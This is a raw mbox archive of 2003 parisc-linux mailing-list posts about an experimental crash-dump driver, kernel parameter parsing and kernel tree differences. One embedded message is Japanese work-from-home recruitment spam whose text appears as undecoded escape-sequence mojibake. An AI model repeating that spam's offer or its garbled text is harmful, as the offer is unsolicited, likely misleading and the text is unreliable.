> is coming from
> the capabilities of the scsi card itself, and on any "last" 
> system the PDC is
> able to acces over 2Gb. This limitation is only on old 
> workstation and server,
> like 712/K (not all scsi card)....I need to add this checking 
> when configuring
> the crash area. I've already start to add this, but it is not 
> yet fully tested, mainly
> because it is only for old system, A/N/L don't have this limitation.
> 
> > (or is it possible to pass a parameter to the kernel
> > to put this swap-dump on another disk).
> 
> Sorry, not yet, I didn't look yet how to retrieve option
> from the command line. But it is in my todo list to add
> "early dump" feature.


Is there a need for swap/dump-space, like on HP-UX? or can PA-Linux run
without any swap and hence without any dump area like intel-linux? Or does
PA-Linux need swapspace like VAX/VMS needs it?


CBee, just a list follower that hopes to find time to put live in his
9000/712/80.

------_=_NextPart_001_01C2FDBB.D69F7000
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2654.45">
<TITLE>RE: [parisc-linux] New dump driver patche.</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>&gt; -----Original Message-----</FONT>
<BR><FONT SIZE=3D2>&gt; From: bruno_vidal@hp.com [<A =
HREF=3D"mailto:bruno_vidal@hp.com">mailto:bruno_vidal@hp.com</A>]</FONT>=

<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Joel Soete wrote:</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; I had another question: this system has =
2Gb of RAM and my </FONT>
<BR><FONT SIZE=3D2>&gt; boot disk is of</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; 9Gb , so my question is: may I use any =
swap as dump device </FONT>
<BR><FONT SIZE=3D2>&gt; over the famous</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; 2 first Gb of the disk</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Yes, you can use any swap device, the =
limitation of the 2Gb </FONT>
<BR><FONT SIZE=3D2>&gt; is coming from</FONT>
<BR><FONT SIZE=3D2>&gt; the capabilities of the scsi card itself, and =
on any &quot;last&quot; </FONT>
<BR><FONT SIZE=3D2>&gt; system the PDC is</FONT>
<BR><FONT SIZE=3D2>&gt; able to acces over 2Gb. This limitation is only =
on old </FONT>
<BR><FONT SIZE=3D2>&gt; workstation and server,</FONT>
<BR><FONT SIZE=3D2>&gt; like 712/K (not all scsi card)....I need to add =
this checking </FONT>
<BR><FONT SIZE=3D2>&gt; when configuring</FONT>
<BR><FONT SIZE=3D2>&gt; the crash area. I've already start to add this, =
but it is not </FONT>
<BR><FONT SIZE=3D2>&gt; yet fully tested, mainly</FONT>
<BR><FONT SIZE=3D2>&gt; because it is only for old system, A/N/L don't =
have this limitation.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; (or is it possible to pass a parameter to =
the kernel</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; to put this swap-dump on another =
disk).</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Sorry, not yet, I didn't look yet how to =
retrieve option</FONT>
<BR><FONT SIZE=3D2>&gt; from the command line. But it is in my todo =
list to add</FONT>
<BR><FONT SIZE=3D2>&gt; &quot;early dump&quot; feature.</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>Is there a need for swap/dump-space, like on HP-UX? =
or can PA-Linux run without any swap and hence without any dump area =
like intel-linux? Or does PA-Linux need swapspace like VAX/VMS needs =
it?</FONT></P>
<BR>

<P><FONT SIZE=3D2>CBee, just a list follower that hopes to find time to =
put live in his 9000/712/80.</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C2FDBB.D69F7000--


From - Thu Nov 08 21:27:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-2022-JP?B?SUNDIBskQjt2NkhJdBsoQg==?= <info@web-space.jp>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] =?ISO-2022-JP?B?GyRCTCQ+NUJ6OS05cCIoGyhCUEMbJEIlOSU/JUMlVUpnPTgbKEI=?=
Date: Tue, 08 Apr 2003 21:13:44 +0900
Lines: 44
Approved: news@gmane.org
Message-ID: <20030408121405.4D85F4829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-2022-JP"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622370 24486 80.91.229.3 (22 Nov 2014 02:12:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:50 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  8 06:14:06 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from st47.arena.ne.jp (st47.arena.ne.jp [210.150.221.2])
	by dsl2.external.hp.com (Postfix) with SMTP id 4D85F4829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  8 Apr 2003 06:14:05 -0600 (MDT)
Original-Received: (qmail 12432 invoked by SAV 20030407.7); 8 Apr 2003 21:14:03 +0900
Original-Received: from unknown (HELO XXX) (210.236.52.95)
  by st47.arena.ne.jp with SMTP; 8 Apr 2003 21:14:03 +0900
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18205

<$BAw?.<T(B><$B;v6H<T(B>$B!!(B
G&C CO.,LTD
ICC $B;v6HIt(B
$BEl5~ET?7=I6h@>?7=I(B4-29-6
$B!!(Binfo@web-space.jp
-----------------------------------------------------
$BFCDj>&<h0zK!;\9T5,B'!!<u$1<h$j$r4uK>$7$J$$>l9g$NO"MmJ}K!(B
$BJ@<R$+$i$N9-9p%a!<%k$NG[?.Dd;_$r4uK>$N>l9g$O!"(B
1.$B2<5-#U#R#L$h$j%"%I%l%9$r$*CN$i$;$/$@$5$$!#(B
$B!!(Bhttp://web-space.jp/icc/kaijyo2
2.$B7oL>$r!VG[?.Dd;_!W$H=q$-49$((B
$B$3$N%a!<%k$rJV?.$7$F$/$@$5$$!#(B
$B$=$NJV?.85$N%"%I%l%9$KBP$9$kG[?.$ODd;_$$$?$7$^$9!#(B
$B!!!!!!!!!!(Binfo@web-space.jp

$B!z!z!z!z!z!z(BPC$B:_Bp%9%?%C%UJg=8!z!z!z!z!z!z(B
 $B!!!!!ZJ8>O!&%G!<%?F~NO%9%?%C%U$N5^Jg![(B
 $B!z6HL30QBw7@Ls$K$F$*;E;v$r$*4j$$$7$^$9!z(B
 $B!y!y!y!y!y!y!y!y!y!y!y!y!y!y!y!y!y!y!y!y!y(B
 $B>\:Y!&;qNA@A5a$O2<5-(BURL$B$+$i(B
$B!!(Bhttp://web-space.jp/icc/
 $B!y!y!y!y!y!y!y!y!y!y!y!y!y!y!y!y!y!y!y!y!y(B
 $B:_Bp(BWord$B!&(BExcel$B$G$*;E;v$N=PMh$kJ}$rJg=8$7$F$$$^$9!#(B
 
$B!!!!!!!!!!!!!ZJg=8FbMF![(B
 $B!Z;~4V![(B5$B;~4V!?=5!!0J>e$N$*;~4V$N<h$l$kJ}(B
 $B!Z<}F~![(B3$B!A(B15$BK|1_!?7n!!0L$N<}F~$r4uK>$9$kJ}(B
 $B!!!!!!!!!J;~5k(B1,500$B1_!A(B2,500$B1_!K(B
 
 $B!|#1G/0J>e7QB3$G$-$kJ}(B
 $B!|%-!<%\!<%I$NBG$F$kJ}(B
 $B!|%o!<%I$G$*;E;v$r$7$?$$J}(B
 $B!|%(%/%;%k$G$*;E;v$r$7$?$$J}(B
 $B!z6HL30QBw7@Ls$K$F0BDj$7$?$*;E;v$,2DG=$G$9!z(B
 $B!y!y!y!y!y!y!y!y!y!y!y!y!y!y!y!y!y!y!y!y!y(B
 $B>\:Y!&;qNA@A5a$O2<5-(BURL$B$+$i(B
$B!!(Bhttp://web-space.jp/icc/
 $B!y!y!y!y!y!y!y!y!y!y!y!y!y!y!y!y!y!y!y!y!y(B
 
 
 




From - Thu Nov 08 21:27:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bruno_vidal@hp.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New dump driver patche.
Date: Tue, 08 Apr 2003 14:44:30 +0200
Organization: H.P
Lines: 33
Approved: news@gmane.org
Message-ID: <3E92C42E.5B9BB871@hp.com>
References: <03Apr8.130336cest.119063@ns.hiscom.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------FC7F378FA6C8646577F1F6E3"
X-Trace: ger.gmane.org 1416622370 24491 80.91.229.3 (22 Nov 2014 02:12:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  8 06:44:23 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 284DE4829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  8 Apr 2003 06:44:23 -0600 (MDT)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id C1E53819
	for <parisc-linux@lists.parisc-linux.org>; Tue,  8 Apr 2003 14:44:20 +0200 (METDST)
Original-Received: from hp.com (ssdpc48.france.hp.com [15.129.234.2])
	by hpfrcu03.france.hp.com (8.9.3 (PHNE_26305+JAGae58098)/8.9.3 SMKit7.02) with ESMTP id OAA10738
	for <parisc-linux@lists.parisc-linux.org>; Tue, 8 Apr 2003 14:43:19 +0200 (METDST)
X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.7-10 i686)
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18206

This is a multi-part message in MIME format.
--------------FC7F378FA6C8646577F1F6E3
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: base64

ICAgIEhpDQpKb2VsIGFza2VkIGZvciBzb21ldGhpbmcgaW50ZXJyZXN0aW5nLCBkb2VzIHNv
bWVvbmUga25vdyBob3cgSSBjYW4gcmV0cmlldmUgYW4gb3B0aW9uDQpwYXNzZWQgdG8gdGhl
IGtlcm5lbCA/IEkgbmV2ZXIgdHJ5IGl0ID8gSW4gd2hpY2ggZHJpdmVyIEkgbmVlZCB0byBs
b29rIGF0ID8gSWYgSSBjYW4NCmFkZCBzb21lIG9wdGlvbiwgSSdsbCBiZSBhYmxlIGZvciBl
eGFtcGxlIHRvIGRvIGFuIGVhcmx5IGR1bXAgaW4gY2FzZQ0Kb2YgY3Jhc2ggYmVmb3JlIG11
bHRpIHVzZXIsIGFuZCB0aGVuIGJlZm9yZSBkdW1wIGluaXRpYWxpc2F0aW9uLg0KDQogICAg
Q2hlZXJzLg0KDQotLQ0KICAgICAgICBWaWRhbCBCcnVubywgKDc3MC00MjcxKQ0KICAgICAg
ICBTU0QtSEEgVGVhbSwgSFAtVVggJiBMSU5VWCBTdXBwb3J0DQogICAgICAgIGJydW5vX3Zp
ZGFsQGFkbWluLmZyYW5jZS5ocC5jb20NCg0KDQo=
--------------FC7F378FA6C8646577F1F6E3
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for 
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------FC7F378FA6C8646577F1F6E3--



From - Thu Nov 08 21:27:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New dump driver patche.
Date: Tue, 8 Apr 2003 07:52:10 -0700
Lines: 13
Approved: news@gmane.org
Message-ID: <20030408145210.GD12993@tausq.org>
References: <03Apr8.130336cest.119063@ns.hiscom.nl> <3E92C42E.5B9BB871@hp.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622371 24492 80.91.229.3 (22 Nov 2014 02:12:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: bruno_vidal@hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  8 08:54:59 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 82C724829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  8 Apr 2003 08:54:59 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 9A159CD295; Tue,  8 Apr 2003 07:52:10 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <3E92C42E.5B9BB871@hp.com>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18207

> Joel asked for something interresting, does someone know how I can retrieve an option
> passed to the kernel ? I never try it ? In which driver I need to look at ? If I can
> add some option, I'll be able for example to do an early dump in case
> of crash before multi user, and then before dump initialisation.

look up the MODULE_PARM() macro. It's used in many drivers.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:27:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] dump driver patches on ftp.parisc-linux.org
Date: Tue, 8 Apr 2003 08:03:32 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <20030408150332.GE12993@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622371 24497 80.91.229.3 (22 Nov 2014 02:12:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:51 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  8 09:06:26 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 154E54829
	for <parisc-linux@parisc-linux.org>; Tue,  8 Apr 2003 09:06:26 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 7BF8BCD295; Tue,  8 Apr 2003 08:03:32 -0700 (PDT)
Content-Disposition: inline
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18208

With Bruno's permission I've placed his dump driver and crashtools stuff
on ftp://ftp.parisc-linux.org/patches/

The files are:
2679a448460c9be8260cc937ddd52ccc  crashtools.tar.gz
044c09a53f3b6113621d539bc297ea9f  dump_modules-2.4.20-pa32.patch.gz

Bruno gives the following warning:
"But I think that a warning must be printed, because it use low level
function for writing on disk, it is better to use free disk. I've tested
it, but it is still possible to still have bugs. I've take care to ensure
that I'm not writing anywhere, but it is still not doing any test
to know if it is a swap partition or a file system. In case of misconfiguration
it is still possible to override a file system."

ymmv :)
randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:27:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New dump driver patche.
Date: Tue, 8 Apr 2003 09:35:02 -0600
Lines: 25
Approved: news@gmane.org
Message-ID: <20030408153502.GE3547@dsl2.external.hp.com>
References: <03Apr8.130336cest.119063@ns.hiscom.nl> <3E92C42E.5B9BB871@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622371 24500 80.91.229.3 (22 Nov 2014 02:12:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: bruno_vidal@hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  8 09:35:03 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id ACE8F4829; Tue,  8 Apr 2003 09:35:02 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <3E92C42E.5B9BB871@hp.com>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18209

On Tue, Apr 08, 2003 at 02:44:30PM +0200, bruno_vidal@hp.com wrote:
>     Hi
> Joel asked for something interresting, does someone know how I can retrieve
> an option passed to the kernel?

I think Randloph is right, MODULE_PARAM() should be sufficient.


But in case it's not, arch/parisc/kernel/setup.c:
	void __init start_parisc(unsigned arg0, unsigned arg1,

		arg1 is the command_line.

	void __init setup_arch(char **cmdline_p)

		cmdlinux_p is a pointer to "saved_command_line".
		a copy of the original.


An example is in kernel/printk.c:__setup("console=", console_setup);


hth,
grant


From - Thu Nov 08 21:27:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexander Gabert <pappy@nikita.ath.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] parisc-linux.org kernel
Date: Tue, 8 Apr 2003 18:53:06 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <20030408165306.GA15433@nikita.ath.cx>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622372 24505 80.91.229.3 (22 Nov 2014 02:12:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:52 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  8 10:52:17 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mailout09.sul.t-online.com (mailout09.sul.t-online.com [194.25.134.84])
	by dsl2.external.hp.com (Postfix) with ESMTP id 911DB4829
	for <parisc-linux@parisc-linux.org>; Tue,  8 Apr 2003 10:52:17 -0600 (MDT)
Original-Received: from fwd09.sul.t-online.de 
	by mailout09.sul.t-online.com with smtp 
	id 192wKV-0002lD-02; Tue, 08 Apr 2003 18:52:15 +0200
Original-Received: from nikita.ath.cx (510056047278-0001@[217.89.2.187]) by fmrl09.sul.t-online.com
	with esmtp id 192wKJ-0bSE1QC; Tue, 8 Apr 2003 18:52:03 +0200
Original-Received: from nikita.ath.cx (localhost [127.0.0.1])
	by nikita.ath.cx (8.12.3/8.12.3/Debian-5) with ESMTP id h38GrG0H015446
	for <parisc-linux@parisc-linux.org>; Tue, 8 Apr 2003 18:53:17 +0200
Original-Received: (from pappy@localhost)
	by nikita.ath.cx (8.12.3/8.12.3/Debian-5) id h38Gr844015444
	for parisc-linux@parisc-linux.org; Tue, 8 Apr 2003 18:53:08 +0200
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Sender: 510056047278-0001@t-dialin.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18210

hello

another question:

can you tell me the exact difference between:
www.kernel.org - linux-2.4.20
www.parisc-linux.org - parisc-linux-kernel-2.4.20-pa32

if there is no technical reason in keeping those kernel devels apart,
why is it done?

it is important for me to get a working mainstream vanilla kernel.org.
i heard that this kernel does not even boot...

thank you,


Alex

-- 
"... an experienced, industrious, ambitious, and often quite often
picturesque liar."
                -- Mark Twain

pub  1024/05E1A80C 2001/12/16 Alexander Gabert (http://nikita.ath.cx) <pappy@nikita.ath.cx>
          Key fingerprint =  2D 84 B0 CB F5 67 8A 22  8D 37 6E 6B 8A 3B 7F D6  05 E1 A8 0C


From - Thu Nov 08 21:27:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parisc-linux.org kernel
Date: Tue, 8 Apr 2003 17:58:25 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <20030408165825.GB23430@parcelfarce.linux.theplanet.co.uk>
References: <20030408165306.GA15433@nikita.ath.cx>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622372 24507 80.91.229.3 (22 Nov 2014 02:12:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:52 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Alexander Gabert <pappy@nikita.ath.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  8 10:58:26 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0EED04829
	for <parisc-linux@parisc-linux.org>; Tue,  8 Apr 2003 10:58:26 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 192wQT-00019m-7S; Tue, 08 Apr 2003 17:58:25 +0100
Content-Disposition: inline
In-Reply-To: <20030408165306.GA15433@nikita.ath.cx>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
